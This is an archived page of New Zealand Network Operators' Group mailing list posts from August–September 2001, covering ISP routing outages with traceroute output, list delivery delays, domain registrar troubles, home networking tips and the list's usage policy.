problem was resolved would be faster and more efficient than waiting for various random servers around the country to retry. >The anoying bit is that Xtra has not acknowledged this in public at all, >we are getting our customers blaming us for delays in email getting to >Xtra addresses. Well actually, they have acknowledged the problem on their website, (I was surprised, I was expecting the standard "There are no knon problems with the Xtra network") so short of making a public annoucement on TV and radio I don't see what else they could do to raise awareness to the average user :) Regards, Simon --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

RE: mta.xtra.co.nz doesn't accept SMTP connects?
by Michael Bordignon 03 Sep '01

03 Sep '01

> -----Original Message----- > From: Juha Saarinen [mailto:juha(a)saarinen.org] > Sent: Tuesday, 4 September 2001 1:20 PM > To: 'Simon Byrnand'; 'Dylan Reeve' > Subject: RE: mta.xtra.co.nz doesn't accept SMTP connects? > > > pop3.xtra.co.nz == mta.xtra.co.nz > then again they might be doing some type of port forwarding on that box? --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

The New Zealand Network Operators' Group
by Donald Neal 02 Sep '01

02 Sep '01

The New Zealand Network Operators' Group The New Zealand Network Operators' Group (NZNOG) has no king, president or formal membership. At present it consists of the subscribers to this mailing list, which anyone is free to join. This list has around 260 subscribers, growing by a handful each month. The NZNOG mailing list is provided through a server at The University of Waikato, and is administered by an employee of Telecom NZ Ltd. Neither of these organisations (nor the administrator) is responsible for its content. NZNOG Mailing List Acceptable Use Policy The NZNOG mailing list exists to provide a forum for the exchange of technical information and the discussion of implementation issues that require cooperation among New Zealand network service providers. In order to continue to provide a useful forum for discussion of relevant technical issues, users of the list are asked to respect the following guidelines. 1. Discussion will focus on Internet operational and technical issues. 2. Discussion related to meetings of network service providers is appropriate. 3. Discussion unrelated to these topics is not appropriate. 4. Postings to multiple mailing lists are discouraged. 5. Postings that include foul language, character assassination, and lack of respect for other participants are unacceptable. 6. Blatant product or service marketing is unacceptable. 7. Postings of a political, philosophical or legal nature are discouraged. 8. Postings to the list should be in ASCII or MIME encoded as text/plain. Attachments should not be sent to the list. To present a document, a suitable URL may be referred to. For documents of general interest, the use of proprietary file formats is discouraged. 9. Breaches of list etiquette should be dealt with privately with the offending list user, and should not result in complaints being sent to the list. 10. A person repeatedly breaching list etiquette shall receive warnings from the list administrator. A further breach after the second such warning within thirty days shall result in the offender being unsubscribed from the list. Other action may also be taken to block postings to the list by the offender. Any such unsubscription is to be immediately announced to the list. Mailing List Archives A full archive is available at http://list.waikato.ac.nz/archives/nznog/ Any message sent to the list will be archived and made available on the web automatically. Subscribing to the List To subscribe to the NZNOG list, send email to majordomo(a)list.waikato.ac.nz, where the body of the message reads subscribe nznog Digest Mailing List If you don't wish to receive postings as they are sent, you can instead subscribe to the nznog-digest mailiing list, on which all postings are sent out in a single "digest" every couple of days. Post-only Mailing List An address from which you wish to post, but which will not receive messages from the list, may be subscribed to nznog-postonly. You will presumably want to have another address subscribed to the main nznog list. Other Activities NZNOG does not at present have other regular activities than this mailing list. Donald Neal NZNOG Mailing List Owner/Administrator/Muggins --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

RE: Wireless LAN equipment
by Greg Clare 02 Sep '01

02 Sep '01

Just another thought for ya... If it is a single story house and you can get under the house, then what I did was simply drill a small hole through the chipboard floor (just big enough for the Cat5 cable to get through), at the very edge of the carpet, right next to the skirting board. A small hole in the floor at the edge of the carpet line is invisible to anyone making a visual inspection (unless you get the carpet caught in the electric drill and rip a huge chunk of wool out... try to avoid this!). Then, if you don't want to screw Cat-5 outlets to your skirting board, just crimp the RJ45 plugs directly onto the leads that come up from under the floor so you can plug the leads straight into your RJ45 device. When you move, just cut the plug off one end of each lead and pull them back through, the little holes are left hidden by the carpet. PS: Going under the house also saves getting your lungs full of glass fibre. Greg > -----Original Message----- > Anyway, this is how a real pro (yep, that's me!) would do it: you get > your Cat-5 ready and then, get into the ceiling! Brilliant > eh? Tends to > work the best on old vullahs, where you can crawl around, breathing in > the remnants of some extremely hirsute sheep (or glass wool), and drop > the cable through the ventilation shafts or the holes for the > chandeliers-wotsits. Honest, it looks really neat and tidy -- > much nicer > than sticky tape all over the place. Watch out you don't put a foot > wrong though, and step through the ceiling. Lots of > cable-laying novices > perish every year that way. > > -- > Juha --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

2 1

Re: Speed of the list
by Ewen McNeill 01 Sep '01

01 Sep '01

In message <20010829125016.S7096(a)wilbur.katipo.co.nz>, Dean Pemberton writes: >[nznog; messages take a while to come out] >I can remember some guy from BSDi talking at uniforum in 98 about how sendmail >was crap at this. [addresses that don't resolve, etc, can kill whole list] Not to rain on anyone's parade, but most mailing list software injects messages in queue mode (to avoid an explosion of MTA processes trying to send the messages out immediately (in the background)). This then relies on the MTA queue processing to shift the messages out. Has anyone checked how often the queue is run on the relevant server? If it's every 30 minutes it'd pretty much exactly explain the times reported. If it's every 15 minutes (a common default with sendmail), then 15-minutes plus isn't that unlikely to happen given the right circumstances. For a mailing list of a few hundred addresses, it should be a walk in the park for most MTAs, sendmail included. Ewen --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

4 3

Wireless LAN equipment
by Richard Stevenson 31 Aug '01

31 Aug '01

Hi all In the interests of keeping my soon-to-be-landlord happy, I'm looking at building a wireless LAN rather than making holes in the 13-month-old house I'm about to move into. Can anyone recommend any particular equipment, suppliers, sources of information? It'll only be a small network to start with - five systems, though it'll grow; I have a nasty habit of accumulating junk :P Many thanks Richard -- Richard Stevenson, Systems Specialist, Xtra Limited Phone: +64 9 355 5231 Mobile: +64 25 290 3101 Pager: +64 26 100 155 "Visual $ANYTHING" just screams out "100% suckage or your money back". -- Tanuki the Raccoon-dog, in the Monastery --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

9 9

This is not London calling
by Juha Saarinen 31 Aug '01

31 Aug '01

pts/1 juha(a)vimfuego:~$ ping news.bbc.co.uk ping: unknown host news.bbc.co.uk Kerrap. Jetstream? Or somewhere else? bash-2.05$ ping news.bbc.co.uk PING newswww.bbc.net.uk (212.58.226.40): 56 data bytes 36 bytes from 202.84.249.66: Time to live exceeded Vr HL TOS Len ID Flg off TTL Pro cks Src Dst 4 5 00 5400 420b 0 0000 01 01 8ae0 210.48.100.42 212.58.226.40 36 bytes from 202.84.249.66: Time to live exceeded Vr HL TOS Len ID Flg off TTL Pro cks Src Dst 4 5 00 5400 420d 0 0000 01 01 8ade 210.48.100.42 212.58.226.40 36 bytes from 202.84.249.66: Time to live exceeded Vr HL TOS Len ID Flg off TTL Pro cks Src Dst 4 5 00 5400 420e 0 0000 01 01 8add 210.48.100.42 212.58.226.40 36 bytes from 202.84.249.66: Time to live exceeded Vr HL TOS Len ID Flg off TTL Pro cks Src Dst 4 5 00 5400 420f 0 0000 01 01 8adc 210.48.100.42 212.58.226.40 36 bytes from 202.84.249.66: Time to live exceeded Vr HL TOS Len ID Flg off TTL Pro cks Src Dst 4 5 00 5400 4210 0 0000 01 01 8adb 210.48.100.42 212.58.226.40 36 bytes from 202.84.249.66: Time to live exceeded Vr HL TOS Len ID Flg off TTL Pro cks Src Dst 4 5 00 5400 4211 0 0000 01 01 8ada 210.48.100.42 212.58.226.40 Hrrmmm... bash-2.05$ traceroute 212.58.226.40 traceroute to 212.58.226.40 (212.58.226.40), 30 hops max, 40 byte packets 1 210.48.100.1 (210.48.100.1) 1.975 ms 2.543 ms 1.746 ms 2 s0.ts9.ak.nz.asiaonline.net (210.48.2.1) 12.198 ms 12.155 ms 14.796 ms 3 f1-0.gw2.ak.nz.asiaonline.net (202.14.100.254) 53.810 ms 12.707 ms 12.221 ms 4 f0-0.gw1.ak.nz.asiaonline.net (210.48.1.1) 12.617 ms 12.623 ms 13.230 ms 5 g0-1-0-221.b4.sxb.tsnz.net (203.98.4.205) 13.391 ms 13.481 ms 12.665 ms 6 GE0-0-0.nzsx-core1.Auckland.telstra.net (203.98.4.3) 16.891 ms 22.031 ms 18.472 ms 7 GigabitEthernet4-0-0.nzsx-core2.Auckland.net.reach.com (203.50.126.58) 26.852 ms 26.061 ms 22.163 ms 8 202.84.249.129 (202.84.249.129) 153.251 ms 153.572 ms 146.691 ms 9 202.84.249.66 (202.84.249.66) 227.914 ms 228.862 ms 224.985 ms 10 202.84.249.65 (202.84.249.65) 229.739 ms 221.260 ms 231.744 ms 11 202.84.249.66 (202.84.249.66) 309.732 ms 308.025 ms 305.737 ms 12 202.84.249.65 (202.84.249.65) 307.482 ms 300.437 ms 319.887 ms 13 202.84.249.66 (202.84.249.66) 456.585 ms 383.322 ms 377.616 ms 14 202.84.249.65 (202.84.249.65) 375.120 ms 377.874 ms 376.425 ms 15 202.84.249.66 (202.84.249.66) 453.441 ms 454.953 ms 457.326 ms 16 202.84.249.65 (202.84.249.65) 458.146 ms 454.757 ms 449.970 ms 17 202.84.249.66 (202.84.249.66) 536.290 ms 532.411 ms 533.366 ms 18 202.84.249.65 (202.84.249.65) 530.822 ms 592.469 ms 526.726 ms 19 202.84.249.66 (202.84.249.66) 602.030 ms 601.476 ms 607.230 ms 20 202.84.249.65 (202.84.249.65) 605.603 ms 627.870 ms 605.202 ms 21 202.84.249.66 (202.84.249.66) 682.281 ms 687.296 ms 675.443 ms 22 202.84.249.65 (202.84.249.65) 680.571 ms 679.806 ms 677.157 ms 23 202.84.249.66 (202.84.249.66) 755.965 ms 775.068 ms 757.381 ms 24 202.84.249.65 (202.84.249.65) 758.296 ms 754.893 ms 764.393 ms 25 202.84.249.66 (202.84.249.66) 833.034 ms 834.038 ms 832.465 ms 26 202.84.249.65 (202.84.249.65) 833.672 ms 832.952 ms 836.438 ms 27 202.84.249.66 (202.84.249.66) 910.692 ms 911.639 ms 910.117 ms 28 202.84.249.65 (202.84.249.65) 906.542 ms 908.851 ms 908.012 ms 29 202.84.249.66 (202.84.249.66) 991.594 ms 986.891 ms 987.188 ms 30 202.84.249.65 (202.84.249.65) 988.047 ms 985.131 ms 1053.931 ms bash-2.05$ whois -h whois.apnic.net 202.84.249.65 % Rights restricted by copyright. See http://www.apnic.net/db/dbcopyright.html % (whois6.apnic.net) inetnum: 202.84.248.0 - 202.84.251.255 netname: FIJI-HK descr: Fiji descr: 41/F, Telecom Tower descr: Taikoo Place, Quarry Bay descr: HK country: HK admin-c: AC11-HK tech-c: PW6-HK rev-srv: rs.hkt.net rev-srv: nsx.hkt.com notify: dbmon(a)apnic.net mnt-by: MAINT-HKT changed: wwong(a)hkt.net 960814 source: APNIC person: Aurea Cheung address: 41/F, Telecom Tower address: Taikoo Place, Quarry Bay address: HK phone: +852-28830025 fax-no: +852-29625290 nic-hdl: AC11-HK notify: dbmon(a)apnic.net mnt-by: MAINT-HKT changed: wwong(a)hkt.net 960814 source: APNIC person: Philip Watt address: 41/F, Telecom Tower address: Taikoo Place, Quarry Bay address: HK phone: +679-311300 nic-hdl: PW6-HK notify: dbmon(a)apnic.net mnt-by: MAINT-HKT changed: wwong(a)hkt.net 960814 source: APNIC -- Juha Saarinen --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

FW: Wireless LAN equipment
by Steven Perich 30 Aug '01

30 Aug '01

> Security, both physical and systems, is of utmost importance. The couch > might seem a perfect place to rack mount your equipment however it is by no > means secure. I would recommend mounting the switch and any other equipment > in a lockable cabinet, such as the oven (true geeks don't cook) and running > cable through a duct drilled through the back of it. Additionally, > electronic locking systems can be bolted to the hinged door and survelliance > installed throughout the kitchen. And the warmer drawer makes an ideal > place to store a change notebook, extra patch leads, etc. Oh! I almost forgot. After you've mounted your switch/router/firewall etc in your oven cum 19" rack, you can take advantage of the convenient Window Kit already installed. As well as being able to look in and watch the Pretty Blinking Lights(tm) at your convenience, you could install a neon light stick (such as http://www.thinkgeek.com/stuff/fun-stuff/3738.shtml) and wire it up to the oven's light switch! Other enhancements; lining the inside of the oven with black speaker box carpet and buying a small tubular lava lamp and strategically place it for maximum effect. :-) BTW: What the hell's this? http://www.eurus.dti.ne.jp/~yoshi-w/audio/zoom2/auto9.jpg Reckon it might end up on our shores in about 5 years time? Steve --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

RE: Wireless LAN equipment
by Sharpe, Russell 30 Aug '01

30 Aug '01

Hi Richard, If you only need 2Meg, rather than 11Meg, there are hundreds of 2M cards on the market cheap, which you could use in an "Ad Hoc" or Personal Area Network of about 20 metres. I have a couple that I could fire off to you if you so desire (I haven't the drivers, but I know that you are resourceful) Russell Sharpe -----Original Message----- From: Richard Stevenson [mailto:richard.stevenson(a)team.xtra.co.nz] Sent: Friday, 31 August 2001 17:02 To: nznog(a)list.waikato.ac.nz Subject: Wireless LAN equipment Hi all In the interests of keeping my soon-to-be-landlord happy, I'm looking at building a wireless LAN rather than making holes in the 13-month-old house I'm about to move into. Can anyone recommend any particular equipment, suppliers, sources of information? It'll only be a small network to start with - five systems, though it'll grow; I have a nasty habit of accumulating junk :P Many thanks Richard -- Richard Stevenson, Systems Specialist, Xtra Limited Phone: +64 9 355 5231 Mobile: +64 25 290 3101 Pager: +64 26 100 155 "Visual $ANYTHING" just screams out "100% suckage or your money back". -- Tanuki the Raccoon-dog, in the Monastery --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

TSNZ international routes stuffed... again?
by Juha Saarinen 30 Aug '01

30 Aug '01

# ping www.above.net ping: unknown host www.above.net # ping www.mfnx.net ping: unknown host www.mfnx.net ... but, a few seconds later: # ping www.mfnx.net PING hs-d1.s.mfnx.net (64.125.31.9) from 192.168.1.1 : 56(84) bytes of data. --- hs-d1.s.mfnx.net ping statistics --- 5 packets transmitted, 0 packets received, 100% packet loss # ping www.above.net PING www.above.net (207.126.96.163) from 192.168.1.1 : 56(84) bytes of data. --- www.above.net ping statistics --- 5 packets transmitted, 0 packets received, 100% packet loss Happens quite frequently these days. -- Juha Saarinen --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

2 2

TSNZ <-> Above.net stuffed...
by Juha Saarinen 30 Aug '01

30 Aug '01

AFAICT. Anyone else seeing this? -- Juha Saarinen --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

2 1

[msa@samurai.sfo.dead-dog.com: Re: BGP Instability]
by Joe Abley 30 Aug '01

30 Aug '01

----- Forwarded message from "Majdi S. Abbas" <msa(a)samurai.sfo.dead-dog.com> ----- Delivered-To: jabley-nanog(a)automagic.org Delivered-To: nanog-outgoing(a)trapdoor.merit.edu Delivered-To: nanog(a)trapdoor.merit.edu Delivered-To: nanog(a)merit.edu Date: Thu, 30 Aug 2001 15:25:34 -0700 From: "Majdi S. Abbas" <msa(a)samurai.sfo.dead-dog.com> To: Mark Borchers <mborchers(a)splitrock.net> Cc: "'nanog(a)merit.edu'" <nanog(a)merit.edu> Subject: Re: BGP Instability User-Agent: Mutt/1.2i In-Reply-To: <CA47B6D616C0D211B92E0008C7C5657C115C1757(a)hscmpxsrvcl01>; from mborchers(a)splitrock.net on Thu, Aug 30, 2001 at 04:47:50PM -0500 Precedence: bulk Errors-To: owner-nanog-outgoing(a)merit.edu X-Loop: nanog On Thu, Aug 30, 2001 at 04:47:50PM -0500, Mark Borchers wrote: > Currently seeing unusually high numbers of routes being > dampened (~11K). The common denominator seems to be AS 4637 > in the as-path of most of the dampened prefixes. Is any > further information known? Yes. Telstra/4637 is leaking what appears to be a full table to many peers and at least two of their transit providers (that I've talked to). I called an engineer at Telstra and they expect to have this resolved soon. --msa ----- End forwarded message ----- --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

Speed of the list
by Dean Pemberton 29 Aug '01

29 Aug '01

Is it just me or is the list taking REALLY long to deliver things lately? Here is the message that I sent [lines removed] Aug 28 18:25:00 wilbur qmail: 998979900.410497 new msg 113746 Aug 28 18:25:00 wilbur qmail: 998979900.416632 starting delivery 57885: msg 113746 to remote nj.lee(a)plumtree.co.nz Aug 28 18:25:00 wilbur qmail: 998979900.416792 starting delivery 57886: msg 113746 to remote juha(a)saarinen.org Aug 28 18:25:00 wilbur qmail: 998979900.416836 starting delivery 57887: msg 113746 to remote nznog(a)list.waikato.ac.nz Aug 28 18:25:00 wilbur qmail: 998979900.832619 delivery 57887: success: 130.217.76.30_accepted_message./Remote_host_said:_250_2.0.0_ f7S6P0Y23521_Message_accepted_for_delivery/ Aug 28 18:25:01 wilbur qmail: 998979901.629689 delivery 57885: success: 203.79.82.83_accepted_message./Remote_host_said:_250_ok_9989 79901_qp_8921/ Aug 28 18:25:01 wilbur qmail: 998979901.759181 delivery 57886: success: 203.79.82.14_accepted_message./Remote_host_said:_250_OK_id=1 5bcJ3-0001YW-00/ Aug 28 18:25:01 wilbur qmail: 998979901.759326 end msg 113746 And here is when the list sent it out Aug 28 18:55:18 wilbur qmail: 998981718.390982 new msg 113746 Aug 28 18:55:18 wilbur qmail: 998981718.391126 info msg 113746: bytes 8254 from <owner-nznog(a)list.waikato.ac.nz> qp 26679 uid 64011 Aug 28 18:55:18 wilbur qmail: 998981718.392633 status: local 1/10 remote 0/20 Aug 28 18:55:18 wilbur qmail: 998981718.402411 new msg 115443 Aug 28 18:55:18 wilbur qmail: 998981718.402568 info msg 115443: bytes 8368 from <owner-nznog(a)list.waikato.ac.nz> qp 26682 uid 1004 Aug 28 18:55:18 wilbur qmail: 998981718.404193 status: local 2/10 remote 0/20 Aug 28 18:55:18 wilbur qmail: 998981718.404215 delivery 57919: success: did_0+1+0/qp_26682/ Aug 28 18:55:18 wilbur qmail: 998981718.404236 status: local 1/10 remote 0/20 Aug 28 18:55:18 wilbur qmail: 998981718.404256 end msg 113746 Aug 28 18:55:18 wilbur qmail: 998981718.411992 delivery 57920: success: did_1+0+0/ Aug 28 18:55:18 wilbur qmail: 998981718.412124 status: local 0/10 remote 0/20 Aug 28 18:55:18 wilbur qmail: 998981718.412146 end msg 115443 That took a long time. Dean --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

12 22

www.jetstream.co.nz branding Xtra after Telecom Web Site Change
by Craig Whitmore 29 Aug '01

29 Aug '01

Hi everyone... I've noticed after Telecom have revamped their new web site they are now pushing alot for Xtra on the Jetstream Web Site (http://www.jetstream.co.nz) Before the change.. it used to be "ISP Neutral", but now.. its Xtra, Xtra, Xtra :-( I don't know what other people (ISP's including) think.. but I think it should be back to how it was, not pushing any particular ISP, but explaining the service and then giving a list of ISP's to go to get Jetstream from. The First sentence "Get fast Internet access with JetStream. Join Xtra - New Zealand's leading Internet Service Provider." makes it look like Xtra is the only ISP who can offer the service. then "Get online with Xtra"... etc etc Even the links to order it.. make it look like Xtra only as it asks if you want as part of SkyFi as you can only get SkyFi by using Xtra as your ISP I talk for myself with these comments, not anyone I work with/for Thanks Craig Whitmore http://www.nzdsl.co.nz New Zealand DSL Information --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

7 8

fastnet... dns problems
by Chris Wedgwood 28 Aug '01

28 Aug '01

Sadly, I am still inflicted with Fastnet (ASB Bank's banking service) which by-and-large works most of the time except when I need it. Anyhow... I tried this a few minutes ago (www.asbank.co.nz) and couldn't get very very far, www.fastnet.co.nz works and closer examination shows the name-servers for asbbank.co.nz don't reply with anything useful for it... [1] So here is something fun... the name-servers are dead (or very lame at best), it's early in the morning (I tried this initially earlier this morning) and phones don't work... with no DNS, I can't email. Anyone know of a magic number to call? --cw [1] Insert standard rant, al la RFC2182 --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

2 2

Hotmail ?
by Simon Byrnand 28 Aug '01

28 Aug '01

Anybody else having problems reaching hotmail ? I've been getting a TTL exceeded from p1-1.akbr2.global-gateway.net.nz (or similar) for the last 20 minutes or so, and yet all the other international sites I can think of seem fine.... Regards, Simon --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

6 7

Hmmm... a new one
by Juha Saarinen 27 Aug '01

27 Aug '01

I can only get to Xtra (from my Paradise ADSL connection) and then only barely: pts/0 juha(a)vimfuego:~$ ping www.xtra.co.nz PING xtra.co.nz (202.27.184.102) from 192.168.1.1 : 56(84) bytes of data. 64 bytes from 202.27.184.102: icmp_seq=0 ttl=246 time=30.164 msec 64 bytes from 202.27.184.102: icmp_seq=1 ttl=246 time=29.964 msec 64 bytes from 202.27.184.102: icmp_seq=2 ttl=246 time=29.970 msec 64 bytes from 202.27.184.102: icmp_seq=3 ttl=246 time=29.963 msec 64 bytes from 202.27.184.102: icmp_seq=4 ttl=246 time=29.968 msec 64 bytes from 202.27.184.102: icmp_seq=5 ttl=246 time=29.965 msec 64 bytes from 202.27.184.102: icmp_seq=6 ttl=246 time=29.936 msec --- xtra.co.nz ping statistics --- 76 packets transmitted, 8 packets received, 89% packet loss round-trip min/avg/max/mdev = 29.936/29.984/30.164/0.222 ms Can't see much of Paradise's network though: traceroute to 203.96.152.4 (203.96.152.4), 30 hops max, 38 byte packets 1 router (192.168.1.254) 1.796 ms 1.217 ms 1.371 ms 2 203-79-82-254.adsl-wns.paradise.net.nz (203.79.82.254) 22.081 ms 13.806 ms 16.697 ms 3 192.168.253.225 (192.168.253.225) 16.174 ms 16.354 ms 20.505 ms 4 kelly.ipnet2.paradise.net.nz (203.96.155.158) 22.172 ms 23.855 ms 19.808 ms 5 * * * 6 * * * 7 * * * pts/0 juha(a)vimfuego:~$ /usr/sbin/traceroute www.xtra.co.nz traceroute to xtra.co.nz (202.27.184.102), 30 hops max, 38 byte packets 1 router (192.168.1.254) 1.692 ms 1.201 ms 1.299 ms 2 203-79-82-254.adsl-wns.paradise.net.nz (203.79.82.254) 16.065 ms 14.954 ms 16.323 ms 3 192.168.253.225 (192.168.253.225) 16.985 ms 18.801 ms 20.093 ms 4 kelly.ipnet2.paradise.net.nz (203.96.155.158) 22.139 ms 18.807 ms 20.254 ms 5 203.96.152.3 (203.96.152.3) 20.158 ms 21.324 ms 20.173 ms 6 202.37.246.73 (202.37.246.73) 30.569 ms 31.820 ms 30.200 ms 7 202.50.245.105 (202.50.245.105) 31.149 ms 32.478 ms 30.773 ms 8 202.37.246.82 (202.37.246.82) 30.229 ms 33.314 ms 30.280 ms 9 202.37.245.46 (202.37.245.46) 31.539 ms 34.646 ms 30.416 ms 10 * * * 11 * * * Someone pulled the plugs out of Kelly? -- Juha Saarinen --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

3 5

Re: Hotmail ?
by Simon Green 27 Aug '01

27 Aug '01

No problems for me (connected through ihug) -- simon >From: Simon Byrnand <simon(a)igrin.co.nz> >To: nznog(a)list.waikato.ac.nz >Subject: Hotmail ? >Date: Tue, 28 Aug 2001 13:37:18 +1200 > >Anybody else having problems reaching hotmail ? > >I've been getting a TTL exceeded from p1-1.akbr2.global-gateway.net.nz (or >similar) for the last 20 minutes or so, and yet all the other international >sites I can think of seem fine.... > >Regards, >Simon > > >--------- >To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz >where the body of your message reads: >unsubscribe nznog _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

BNZ Buyline
by John Lynch 27 Aug '01

27 Aug '01

At the moment, I am writting the code in C, with Secure Remote for the link to the BNZ. In the long term I intent to use freeswan IPSEC, with linux. Thanks to all thouse who responded, (given me hope at least !!!) I understand that the work you guys have done may be copyrighted by you various companys, but for those of you that aren't, any code snippets would be appreciated . John Lynch System Administrator (string and tape specialist) Wise Net --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

BNZ Buyline client interface ??????
by John Lynch 24 Aug '01

24 Aug '01

Hi has anyone out there written a BNZ buyline client interface ? At this point I have downloaded the source code and written a client that sends a purchase message to the test system we have been setup on. The server responds with NX invalid currency code. The instructions I have received clearly states that a currency code must be included with a purchase request. I do not see anywhere in the supplied code provisions for including this information, to implement this myself it's seems to me I would have to change the supplied code right down at the packet construction level. I am sure this is not necessary and have missed something simple. Any help much appreciated. John Lynch System Administrator (string and tape specialist) Wise Net --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

4 3

Re: Anyone know a realiable .COM registry?
by david＠farrar.com 24 Aug '01

24 Aug '01

> On Fri, Aug 24, 2001 at 02:30:55AM +0000, david(a)farrar.com wrote: > > NSI are awful. You may find NSI will make it very hard to trasnfer > > your domain elsewhere. Good Luck. > > Actually, when transferring a gTLD domain the new registrar can > initiate the transfer. Register.com provide a web interface to > this, which is painless and doesn't involve interacting with NSI > in any frustrating way. Unfortunately NSI have unilaterally changed the rules. They now automatically cancel all tranfsers unless the name holder contact responds positively to an e- mail from NSI asking if they are happy with the change. The ICANN Registrars mailing list has more details. Registrars are having hundreds and thousands of requests cancelled by NSI. NSI claim you have five days to respond but often their e-mails don't go out until Day 4 etc. SOme registrants have tried three times to transfer with no luck. DPF --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

5 7

Re: Anyone know a realiable .COM registry?
by david＠farrar.com 23 Aug '01

23 Aug '01

> Does anyone know of a _reliable_ .COM registry? NZ based would be good but > not essential. Who do others use? Are you happy with them? Are their fees > reasonable? I use register.com and have found them good. They are not the chapeast around but no problems with them. > We are finding Network Solutions to e not worth the money. For the second > time in as many years they have deactivated one of our domains for non > payment of fees. In both cases the fees _had_ been paid. In this latest > episode we even paid twice just to (vainly) try to stop it from being > deactivated. NSI are awful. You may find NSI will make it very hard to trasnfer your domain elsewhere. Good Luck. DPF --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

4 3

RE: Anyone know a realiable .COM registry?
by Denis Gordon 23 Aug '01

23 Aug '01

Before everyone starts running off for a well earned weekend I'd just like to say a big THANKS to all those who responded to my call for help - at a dizzying pace. NSI have changed our domain's status to paid & say it'll be live again "within 24 hours" - let's not rush this :( Thank you all. Denis -----Original Message----- From: Denis Gordon [mailto:denis(a)dcc.govt.nz] Sent: Friday, 24 August 2001 2:17pm To: 'NZNOG List' Cc: Mike Harte Subject: Anyone know a realiable .COM registry? Does anyone know of a _reliable_ .COM registry? NZ based would be good but not essential. Who do others use? Are you happy with them? Are their fees reasonable? We are finding Network Solutions to e not worth the money. For the second time in as many years they have deactivated one of our domains for non payment of fees. In both cases the fees _had_ been paid. In this latest episode we even paid twice just to (vainly) try to stop it from being deactivated. This time has really hurt as it's where our main website lives. Their solution to getting it reactivated was "pay us again so we have a transaction we can find in our system"! So if anyone knows of a good reliable .COM registry please let me know asap. thanks Denis Gordon Network Administrator Information Systems Technical Support Dunedin City Council 50 The Octagon, PO Box 5045, Dunedin, New Zealand Ph: +64-3-474 3566 Fax: +64-3-474 3503 Mobile: 025 84 55 83 Email: denis(a)dcc.govt.nz WWW: http://www.CityOfDunedin.com/ --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

2 1

Re: Anyone know a realiable .COM registry?
by Peter Mott 23 Aug '01

23 Aug '01

At 24/08/2001 14:36, you wrote: >I understand Peter Mott & 2day.com provide this sort of service... they're >near me, in the occasionally sunny and warm North Shore of Auckland. Whilst we are accredited, we are not operational sorry. Its not that far away however :-) - PWM "Hell, there are no rules here - we're trying to accomplish something!" Thomas A. Edison --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

Anyone know a realiable .COM registry?
by Denis Gordon 23 Aug '01

23 Aug '01

Does anyone know of a _reliable_ .COM registry? NZ based would be good but not essential. Who do others use? Are you happy with them? Are their fees reasonable? We are finding Network Solutions to e not worth the money. For the second time in as many years they have deactivated one of our domains for non payment of fees. In both cases the fees _had_ been paid. In this latest episode we even paid twice just to (vainly) try to stop it from being deactivated. This time has really hurt as it's where our main website lives. Their solution to getting it reactivated was "pay us again so we have a transaction we can find in our system"! So if anyone knows of a good reliable .COM registry please let me know asap. thanks Denis Gordon Network Administrator Information Systems Technical Support Dunedin City Council 50 The Octagon, PO Box 5045, Dunedin, New Zealand Ph: +64-3-474 3566 Fax: +64-3-474 3503 Mobile: 025 84 55 83 Email: denis(a)dcc.govt.nz WWW: http://www.CityOfDunedin.com/ --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

3 2

UPDATE: Xtra broken?
by Ben Martel 22 Aug '01

22 Aug '01

